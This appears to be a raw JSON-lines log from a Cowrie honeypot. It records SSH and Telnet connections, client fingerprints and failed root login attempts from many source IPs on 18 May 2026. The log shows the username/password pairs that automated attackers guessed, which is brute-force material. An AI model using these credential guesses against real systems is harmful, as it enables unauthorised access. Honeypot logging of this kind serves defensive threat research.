{"eventid":"cowrie.login.failed","username":"root","password":"password123!","message":"login attempt [root/password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:29.023553Z","src_ip":"197.248.104.31","session":"267e920dd855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:29.073620Z","src_ip":"193.32.162.145","session":"a46455fc2708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:30.181739Z","src_ip":"193.32.162.145","session":"a46455fc2708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:30.237995Z","src_ip":"197.248.104.31","session":"267e920dd855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":39124,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d1d383b1646","protocol":"ssh","message":"New connection: 43.153.22.143:39124 (10.17.0.5:22) [session: 8d1d383b1646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:40.144616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:40.149591Z","src_ip":"43.153.22.143","session":"8d1d383b1646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:40.220995Z","src_ip":"43.153.22.143","session":"8d1d383b1646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin88","message":"login attempt [root/admin88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:40.526375Z","src_ip":"43.153.22.143","session":"8d1d383b1646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:41.596702Z","src_ip":"43.153.22.143","session":"8d1d383b1646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59222,"dst_ip":"10.17.0.5","dst_port":22,"session":"1040ef1520bf","protocol":"ssh","message":"New connection: 193.228.128.84:59222 (10.17.0.5:22) [session: 1040ef1520bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:43.475545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:43.480432Z","src_ip":"193.228.128.84","session":"1040ef1520bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:43.583129Z","src_ip":"193.228.128.84","session":"1040ef1520bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robert","message":"login attempt [root/robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:43.889969Z","src_ip":"193.228.128.84","session":"1040ef1520bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:44.995469Z","src_ip":"193.228.128.84","session":"1040ef1520bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"5980ae3df3dd","protocol":"telnet","message":"New connection: 152.42.224.71:48290 (10.17.0.5:23) [session: 5980ae3df3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:48.702444Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":56980,"dst_ip":"10.17.0.5","dst_port":22,"session":"8db617f53439","protocol":"ssh","message":"New connection: 43.153.124.153:56980 (10.17.0.5:22) [session: 8db617f53439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:49.480063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:49.484940Z","src_ip":"43.153.124.153","session":"8db617f53439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:49.553230Z","src_ip":"43.153.124.153","session":"8db617f53439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v5b6n7m","message":"login attempt [root/1z2x3c4v5b6n7m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:49.858591Z","src_ip":"43.153.124.153","session":"8db617f53439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:50.929951Z","src_ip":"43.153.124.153","session":"8db617f53439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":45710,"dst_ip":"10.17.0.5","dst_port":22,"session":"05eed2b0d099","protocol":"ssh","message":"New connection: 58.186.20.143:45710 (10.17.0.5:22) [session: 05eed2b0d099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:06.230275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:06.234609Z","src_ip":"58.186.20.143","session":"05eed2b0d099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:06.479642Z","src_ip":"58.186.20.143","session":"05eed2b0d099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v5b6n7m","message":"login attempt [root/1z2x3c4v5b6n7m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:07.488061Z","src_ip":"58.186.20.143","session":"05eed2b0d099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:08.737361Z","src_ip":"58.186.20.143","session":"05eed2b0d099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":57998,"dst_ip":"10.17.0.5","dst_port":22,"session":"102b75252e2a","protocol":"ssh","message":"New connection: 109.172.54.111:57998 (10.17.0.5:22) [session: 102b75252e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:19.304243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:19.312489Z","src_ip":"109.172.54.111","session":"102b75252e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:19.412875Z","src_ip":"109.172.54.111","session":"102b75252e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alenka","message":"login attempt [root/alenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:20.307538Z","src_ip":"109.172.54.111","session":"102b75252e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:21.413017Z","src_ip":"109.172.54.111","session":"102b75252e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":3146,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac65a53d6706","protocol":"ssh","message":"New connection: 181.0.214.136:3146 (10.17.0.5:22) [session: ac65a53d6706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:24.385466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:24.391757Z","src_ip":"181.0.214.136","session":"ac65a53d6706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:24.553026Z","src_ip":"181.0.214.136","session":"ac65a53d6706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v","message":"login attempt [root/1z2x3c4v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:25.233023Z","src_ip":"181.0.214.136","session":"ac65a53d6706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:26.397719Z","src_ip":"181.0.214.136","session":"ac65a53d6706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":59046,"dst_ip":"10.17.0.5","dst_port":22,"session":"259b77364679","protocol":"ssh","message":"New connection: 43.153.69.201:59046 (10.17.0.5:22) [session: 259b77364679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:41.708576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:41.717519Z","src_ip":"43.153.69.201","session":"259b77364679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:41.785758Z","src_ip":"43.153.69.201","session":"259b77364679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinnick","message":"login attempt [root/alinnick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:42.090154Z","src_ip":"43.153.69.201","session":"259b77364679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:43.161443Z","src_ip":"43.153.69.201","session":"259b77364679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.78779578208923,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:46.490009Z","src_ip":"152.42.224.71","session":"5980ae3df3dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":50220,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ed870d0bf67","protocol":"ssh","message":"New connection: 43.153.22.143:50220 (10.17.0.5:22) [session: 3ed870d0bf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:48.309226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:48.314039Z","src_ip":"43.153.22.143","session":"3ed870d0bf67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.5","src_port":53214,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e07062dc57","protocol":"ssh","message":"New connection: 176.65.132.5:53214 (10.17.0.5:22) [session: e3e07062dc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:48.340816Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:48.346500Z","src_ip":"176.65.132.5","session":"e3e07062dc57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:18:48.381869Z","src_ip":"43.153.22.143","session":"3ed870d0bf67","protocol":"ssh"}
